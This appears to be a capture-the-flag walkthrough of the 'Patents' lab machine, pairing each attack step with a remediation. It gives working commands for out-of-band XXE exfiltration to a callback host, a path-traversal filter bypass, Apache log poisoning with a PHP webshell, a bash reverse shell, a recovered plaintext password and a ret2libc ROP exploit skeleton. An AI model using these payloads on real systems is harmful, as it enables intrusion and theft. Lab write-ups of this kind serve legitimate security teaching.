← all walkthroughs

Patents

Linux· Hard
owned
2026-07-10
time to own
37m18s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

The Patents Management application on port 80 accepted .docx uploads for PDF conversion. Its XML parser honoured external entity declarations, enabling out-of-band XXE to exfiltrate server-side files — including a PHP source file that named a separate patent-retrieval endpoint suffering from path traversal. A single-pass ../ strip was defeated with the ....// double-dot bypass, achieving local file inclusion of Apache's access log, which had been poisoned with a PHP webshell via a crafted User-Agent. That yielded remote code execution as www-data inside a Docker container. A root cron job embedded the plaintext service password !gby0l0r0ck$$! in a readable script; it was [REDACTED: recovered credential] to SSH to the underlying host as gbyolo. A git repository accessible from the container retained the lfmserver binary in its history despite an attempted deletion; the binary's URL-decoder copied operator input into a fixed 128-byte stack buffer with no bounds check, no canary, and no PIE. A two-stage ROP chain sent from the container leaked a libc address and then called system("/bin/sh"), yielding a root shell on the real host.

Attack path — how the box was taken

1EnumerationService enumeration and forced browsing (T1595.002)
Mapped open services and discovered a docx-upload application with a self-incriminating changelog
Nmap revealed SSH on 22, Apache on 80, and an unidentified service on 8888. Directory brute-force against port 80 found config.php, convert.php, an uploads/ directory, and a release/ folder. The UpdateDetails changelog inside release/ explicitly stated that LFI and path-traversal patches had been reverted and that the application parsed XML entities in custom .docx folders — directly advertising the two primary attack vectors.
gobuster found /release/UpdateDetails; changelog text confirmed 'LFI/traversal fixes reverted' and XML-entity processing in docx uploads.
Exact commands 3
Version and script scan against the three open ports.
nmap -sV -sC -p 22,80,8888 $INTERNAL_TARGET
Discover hidden paths; key finds: config.php, convert.php, uploads/, release/.
gobuster dir -u http://$INTERNAL_TARGET/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt -t 40
Read the changelog that confirms XXE and reverted LFI patches.
curl -s http://$INTERNAL_TARGET/release/UpdateDetails
2ExploitationOut-of-band XML External Entity injection (OOB-XXE, CWE-611)
Exfiltrated server-side source files via out-of-band XXE in the docx converter
A .docx is a ZIP of XML files. The converter processed XML entities in the customXml/ subfolder. A parameter-entity chain in customXml/item1.xml fetched a remote DTD from my HTTP server; the DTD expanded a php://filter base64 entity for any chosen file path and exfiltrated it as a query-string value in an outbound HTTP request. Reading /etc/passwd confirmed the user gbyolo; reading 000-default.conf revealed the webroot /var/www/html/docx2pdf/; reading config.php there named the vulnerable endpoint getPatent_alphav1.0.php.
operator HTTP server received GET /x?<base64>; decoded values yielded /etc/passwd with gbyolo:x:1000: and config.php naming getPatent_alphav1.0.php.
Exact commands 6
DTD served by me HTTP server; change the resource= path per file to exfiltrate.
printf '<!ENTITY %% file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">\n<!ENTITY %% read "<!ENTITY exfil SYSTEM \x27http://$CALLBACK_HOST/x?%%file;\x27>">\n%%read;' > /tmp/read.dtd
XXE payload injected as customXml/item1.xml inside the evil docx.
printf '<?xml version="1.0"?>\n<!DOCTYPE foo [<!ENTITY %% xxe SYSTEM "http://$CALLBACK_HOST/read.dtd"> %%xxe; ]>\n<foo>&exfil;</foo>' > /tmp/item1.xml
Start from any [REDACTED: recovered credential] .docx; replace item1.xml with the XXE payload and rezip.
unzip -q /tmp/clean.docx -d /tmp/evil_docx && cp /tmp/item1.xml /tmp/evil_docx/customXml/item1.xml && cd /tmp/evil_docx && zip -r /tmp/evil.docx . && cd /tmp
Serve read.dtd and log the incoming base64 query strings (run in a separate terminal).
python3 -m http.server 80
Upload the malicious docx; the server fetches read.dtd and beacons file contents.
curl -s -F 'userfile=@/tmp/evil.docx;type=application/vnd.openxmlformats-officedocument.wordprocessingml.document' http://$INTERNAL_TARGET/convert.php
Decode each exfiltrated file; repeat with a different resource= value in read.dtd per target.
echo '<BASE64_FROM_LISTENER>' | base64 -d
FixDisable external XML entity processing in the docx-to-PDF converterCritical
WeaknessThe XML parser honoured external SYSTEM entity URIs inside uploaded .docx files, letting any anonymous visitor instruct the server to fetch user-controlled URLs and exfiltrate arbitrary local file contents over HTTP.
FixConfigure the XML library to reject all external general and parameter entities and disable DTD processing entirely. In PHP, pass LIBXML_NOENT | LIBXML_NONET to the load call and, on PHP < 8.0, call libxml_disable_entity_loader(true). Validate that uploaded archives contain only expected content types and XML schemas before parsing.
3ExploitationPath traversal with filter-bypass (CWE-22)
Bypassed the path-traversal filter to achieve local file inclusion
The getPatent_alphav1.0.php endpoint took a user-supplied id parameter and included the corresponding file from disk. A naive single-pass strip removed ../ sequences. The bypass was ....//: after one pass strips the inner ../, the remaining characters collapse to ../, achieving the intended traversal. Four ....// segments were enough to reach the filesystem root from the webroot. This was confirmed by including /etc/passwd, and the access log was also verified as readable — the precondition for log poisoning.
GET /getPatent_alphav1.0.php?id=....//....//....//....//etc/passwd returned /etc/passwd content; same technique confirmed the Apache access log was reachable.
Exact commands 2
Confirm LFI: four ....// segments traverse from the webroot to /.
curl -s 'http://$INTERNAL_TARGET/getPatent_alphav1.0.php?id=....//....//....//....//etc/passwd'
Verify the Apache access log is readable — prerequisite for log poisoning.
curl -s 'http://$INTERNAL_TARGET/getPatent_alphav1.0.php?id=....//....//....//....//var/log/apache2/access.log'
FixFix the path-traversal vulnerability in the patent-retrieval endpointCritical
WeaknessThe id parameter in getPatent_alphav1.0.php was used to build a file path but was filtered with only a single-pass strip of ../, which was trivially bypassed by ....//. This allowed inclusion of any file readable by the web process.
FixResolve the user-supplied value with realpath() and assert that the canonical result begins with the intended document directory before opening it. Apply an allowlist regex to the id parameter (digits only for a patent ID) and reject anything that does not match. Do not implement custom traversal-stripping logic.
4ExploitationLog poisoning via LFI for RCE (CWE-116 / T1505.003)
Poisoned the Apache access log to achieve remote code execution as www-data
Apache logged the raw User-Agent header verbatim. Sending a single request whose User-Agent contained the string <?php system($_GET['cmd']); ?> embedded an executable PHP stub inside access.log. Including that log via the LFI caused the PHP interpreter to evaluate the stub. Passing a bash reverse-shell payload in the cmd query parameter returned an interactive shell as www-data, running inside a Docker container.
curl with PHP User-Agent; subsequent LFI request with &cmd=id returned uid=33(www-data); reverse shell connected to operator listener.
Exact commands 4
Poison the Apache access log with a PHP execution stub via the User-Agent header.
curl -s -A '<?php system($_GET["cmd"]); ?>' http://$INTERNAL_TARGET/
Verify execution: response should contain uid=33(www-data).
curl -s 'http://$INTERNAL_TARGET/getPatent_alphav1.0.php?id=....//....//....//....//var/log/apache2/access.log&cmd=id'
Start a reverse-shell listener before triggering the next command.
nc -lvnp 4444
Trigger a bash reverse shell; adjust IP and port to match your tun0 address and listener.
curl -s 'http://$INTERNAL_TARGET/getPatent_alphav1.0.php?id=....//....//....//....//var/log/apache2/access.log&cmd=bash+-c+%27bash+-i+%3E%26+/dev/tcp/$CALLBACK_HOST/4444+0%3E%261%27'
FixPrevent PHP execution inside log directories and sanitize logged HTTP headersHigh
WeaknessApache wrote the raw User-Agent header verbatim into access.log; because the log file was reachable via the LFI, embedding a PHP stub in the User-Agent turned the log into an executable webshell that ran as the web server process.
FixSet php_admin_flag engine Off in the Apache configuration for any directory containing log or temporary files. Ensure no web-accessible path can be used to serve or include log files. Sanitize or truncate control characters and angle brackets in logged fields using a LogFormat directive or a mod_rewrite sanitizing rule.
5Lateral MovementCredential discovery in scripts (T1552.001)
Discovered hardcoded credentials in a root cron script and pivoted to the host as gbyolo
Running pspy64 inside the Docker container revealed a root-owned cron job periodically executing /opt/checker_client/run_file.sh. Reading that script exposed the plaintext password !gby0l0r0ck$$! used both for su root within the container and for the LFM protocol connection to the host at <retired-instance-ip>:8888. The same password was [REDACTED: recovered credential] for SSH to the host as gbyolo, providing a login session on the real machine and the user flag.
pspy output: UID=0 PID=... /opt/checker_client/run_file.sh; password !gby0l0r0ck$$! visible in script; ssh gbyolo@<retired-instance-ip> authenticated successfully; user.txt read.
Exact commands 4
Serve pspy64 from your operator HTTP server; watch output for root-owned cron commands.
wget -q http://$CALLBACK_HOST/pspy64 -O /tmp/pspy64 && chmod +x /tmp/pspy64 && /tmp/pspy64
Read the cron script; the plaintext password appears in connection parameters.
cat /opt/checker_client/run_file.sh
SSH to the Docker host as gbyolo; enter !gby0l0r0ck$$! when prompted.
ssh gbyolo@$INTERNAL_TARGET
Read the user flag: [REDACTED: flag].
cat /home/gbyolo/user.txt
FixRemove plaintext credentials from cron scripts and service configuration filesHigh
WeaknessThe root-owned cron script /opt/checker_client/run_file.sh embedded the service password !gby0l0r0ck$$! in cleartext. Any process able to read the file — including www-data via the preceding RCE — could extract and reuse it, in this case to authenticate to the host as a legitimate user via SSH.
FixStore service credentials in a root-only secrets file (chmod 600, owner root) sourced at runtime, or integrate a secrets manager. Ensure cron job scripts are not world-readable (chmod 700). Rotate the compromised credential immediately and audit all other scripts and configuration files for embedded passwords.
6Post-ExploitationSensitive file recovery from version control (T1213)
Recovered the lfmserver binary from git history accessible inside the container
The /usr/src/lfm directory was a git repository. git log showed a commit titled 'Removed meow files' that deleted the lfmserver binary. Checking out the commit immediately preceding it restored both the binary and a README specifying the exact build environment (libc6 2.28-0ubuntu1, libssl1.1 1.1.1) — necessary for matching ROP gadget offsets. The binary was copied to the web-accessible uploads directory and downloaded to my machine for offline analysis.
git log output: commit with message 'Removed meow files'; git checkout of prior commit restored lfmserver; binary downloaded via HTTP.
Exact commands 4
Identify the commit just before 'Removed meow files' and note its hash.
cd /usr/src/lfm && git log --oneline
Restore the deleted binary; replace <COMMIT_BEFORE_REMOVAL> with the hash from git log.
git checkout <COMMIT_BEFORE_REMOVAL> -- lfmserver
Stage the binary under the webroot for HTTP download.
cp /usr/src/lfm/lfmserver /var/www/html/docx2pdf/uploads/lfmserver
Download the binary to the Kali machine for offline analysis.
wget http://$INTERNAL_TARGET/uploads/lfmserver -O /tmp/lfmserver && chmod +x /tmp/lfmserver
FixRemove sensitive binaries from version-control history and restrict repository access from containersMedium
WeaknessThe /usr/src/lfm git repository retained the lfmserver binary in its commit history despite a subsequent delete commit. A low-privilege container process could check out the prior commit, recover the binary, and download it for offline reverse-engineering.
FixPurge the binary from git history using git-filter-repo (preferred) or BFG Repo Cleaner and force-push. Never store compiled binaries in source repositories; use a separate artifact registry. Do not mount or expose source-code directories inside containers that serve internet-facing applications.
7ExploitationStack buffer overflow analysis and ROP gadget discovery (CWE-121)
Identified a stack buffer overflow in the LFM request parser with no canary or PIE
checksec confirmed no stack canary, no PIE, and NX enabled — ruling out shellcode but permitting ROP. Ghidra analysis of the URL-decode routine showed that %XX sequences were decoded via strtoul and the resulting bytes copied into a fixed 128-byte stack buffer with no length check. Sending a de Bruijn pattern to a local instance placed the crash offset at 148 bytes to saved RIP. The protocol also required a [REDACTED: recovered credential] MD5 digest and a known file path: appending a NULL byte after /convert.php allowed the file-existence check to terminate early while the overflow payload in the subsequent bytes continued past the NULL.
checksec: No canary, No PIE, NX enabled; cyclic pattern crash at offset 148; Ghidra: unchecked decode loop writes to 128-byte buffer; ROPgadget found pop rdi and pop rsi/r15 chains.
Exact commands 3
Confirm protections: expect NX=ON, Canary=NOT FOUND, PIE=NOT ENABLED.
checksec --file=/tmp/lfmserver
Identify gadgets for the libc-leak chain: pop rdi ; ret and pop rsi ; pop r15 ; ret.
ROPgadget --binary /tmp/lfmserver --rop | grep -E 'pop rdi|pop rsi|pop r15|ret$'
Run a local copy of lfmserver and send a cyclic pattern to pinpoint the RIP offset (expect 148).
python3 -c "from pwn import *; print(cyclic(200).decode())" | nc -w3 localhost 8888
FixFix the stack buffer overflow in lfmserver and enable standard binary hardeningCritical
WeaknessThe lfmserver URL-decoder copied user-controlled bytes into a fixed 128-byte stack buffer with no length check. The binary was compiled without a stack canary or position-independent code, making the overflow straightforward to exploit with a return-oriented programming chain that achieved full root-level code execution on the host.
FixRewrite the URL-decode routine to enforce a hard length limit (strnlen + bounded copy, or a safe URL-decode library). Recompile with -fstack-protector-all, -pie -fPIC, and full RELRO (LDFLAGS=-Wl,-z,relro,-z,now). Add a seccomp syscall allowlist to restrict what a compromised server process can do. Conduct a code-level security review of the entire request-parsing path.
8Privilege EscalationReturn-oriented programming ret2libc via stack overflow (CWE-121 / T1068)
Exploited the stack overflow with a two-stage ROP chain for a root shell on the host
From inside the Docker container, a pwntools script connected to lfmserver on <retired-instance-ip>:8888 authenticating as lfmserver_user / !gby0l0r0ck$$!. The CHECK request path was set to /convert.php followed by a NULL byte (passing the file-existence check) and then 148 bytes of padding plus a ROP chain: pop rdi → stdout fd; pop rsi/r15 → write GOT entry address; call write@plt to leak a libc address; compute libc base from the known offset; then a second connection using the same overflow called system("/bin/sh") via the computed address. The shell spawned as root on the real host.
Exploit script connected to <retired-instance-ip>:8888; interactive shell confirmed id=root; root.txt read as [REDACTED: flag].
Exact commands 3
Run the pwntools script from within the Docker container; skeleton below.
python3 /tmp/exploit.py
Pwntools scaffold — fill in gadget, PLT, GOT, and libc offsets from ROPgadget and readelf output for the recovered binary and its paired libc.
# from pwn import *
# HOST, PORT = '$INTERNAL_TARGET', 8888
# OFFSET = 148
# pop_rdi   = 0x<addr>   # ROPgadget output
# pop_rsi_r15 = 0x<addr>
# write_plt = 0x<addr>   # readelf -s lfmserver
# write_got = 0x<addr>
# write_off = 0x<offset> # pwntools libc database or readelf on libc2.28
# system_off = 0x<offset>
# binsh_off  = 0x<offset>
# def make_req(rop):
#   pad = b'CHECK /convert.php\x00' + b'A'*OFFSET
#   req  = pad + rop + b' LFM\r\n'
#   req += b'User=lfmserver_user\r\nPassword=!gby0l0r0ck$$!\r\n\r\n'
#   req += b'[REDACTED: protected value]\n'
#   return req
# stage1 = p64(pop_rdi)+p64(1)+p64(pop_rsi_r15)+p64(write_got)+p64(0)+p64(write_plt)
# r = remote(HOST, PORT); r.send(make_req(stage1))
# leak = u64(r.recv(8)); libc_base = leak - write_off
# system = libc_base + system_off; binsh = libc_base + binsh_off
# stage2 = p64(pop_rdi)+p64(binsh)+p64(system)
# r2 = remote(HOST, PORT); r2.send(make_req(stage2)); r2.interactive()
Read the root flag from the host shell: [REDACTED: flag].
cat /root/root.txt
FixFix the stack buffer overflow in lfmserver and enable standard binary hardeningCritical
WeaknessThe lfmserver URL-decoder copied user-controlled bytes into a fixed 128-byte stack buffer with no length check. The binary was compiled without a stack canary or position-independent code, making the overflow straightforward to exploit with a return-oriented programming chain that achieved full root-level code execution on the host.
FixRewrite the URL-decode routine to enforce a hard length limit (strnlen + bounded copy, or a safe URL-decode library). Recompile with -fstack-protector-all, -pie -fPIC, and full RELRO (LDFLAGS=-Wl,-z,relro,-z,now). Add a seccomp syscall allowlist to restrict what a compromised server process can do. Conduct a code-level security review of the entire request-parsing path.

Exposed services

22/tcp
80/tcp
8888/tcp